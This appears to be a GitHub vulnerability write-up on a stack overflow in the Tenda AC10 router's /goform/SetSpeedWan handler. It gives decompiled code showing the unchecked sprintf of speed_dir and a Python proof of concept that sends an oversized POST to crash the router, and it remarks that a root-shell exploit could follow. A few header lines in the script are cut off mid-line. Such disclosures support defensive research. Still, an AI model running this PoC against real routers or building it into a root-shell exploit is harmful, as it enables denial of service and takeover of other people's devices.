z1r00 Update readme.md History

1 contributor

64 lines (41 sloc) | 1.75 KB ...

Tenda AC10V15.03.06.23 Stack overflow vulnerability

Firmware information

- Manufacturer's address：https://www.tenda.com.cn/
- Firmware download address ： https://www.tenda.com.cn/download/detail-2734.html

Affected version

Vulnerability details

```
speed_dir = websGetVar(wp, "speed_dir", "0");
ucloud_enable = websGetVar(wp, "ucloud_enable", "0");
password = websGetVar(wp, "password", "0");
GetValue("speedtest.flag", buff_vlaue);
if ( atoi(buff_vlaue) )
{
  sprintf(ret_buf, "{\"errCode\":%d,\"speed_dir\":%s}", 1, speed_dir);
}
else
{
  SetValue("speedtest.flag", "1");
  if ( atoi(speed_dir) )
  {
    if ( !atoi(ucloud_enable) )
    {
      SetValue("ucloud.en", "1");
      SetValue("ucloud.syncserver", "1");
      SetValue("ucloud.password", password);
      SetValue("qos.ucloud.flag", "1");
      doSystemCmd("cfm Post ucloud 0");
    }
    SetValue("speedtest.ret", "2");
    doSystemCmd("/bin/speedtest %d %d &", 1, 1);
  }
  else
  {
    SetValue("speedtest.ret", "4");
    doSystemCmd("cfm Post ucloud 5");
  }
  sprintf(ret_buf, "{\"errCode\":%d,\"speed_dir\":%s}", 0, speed_dir);
}
```

/goform/SetSpeedWan，speed_dir is controllable and will eventually be spliced into ret_buf by sprintf. It is worth noting that the size is not checked, resulting in a stack overflow vulnerability

Poc

```
import socket
import os

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

ip = '192.168.0.1'
port = 80

r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

r.connect((ip, port))

rn = b'\r\n'

p1 = b'a' * 0x300
p2 = b'speed_dir=' + p1

p3 = b"POST /goform/SetSpeedWan" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + r
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: curShow=; ac_login_info=passwork; test=A; password=1111" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2

r.send(p3)

response = r.recv(4096)
response = response.decode()
li(response)
```

You can see the router crash, and finally we can write an exp to get a root shell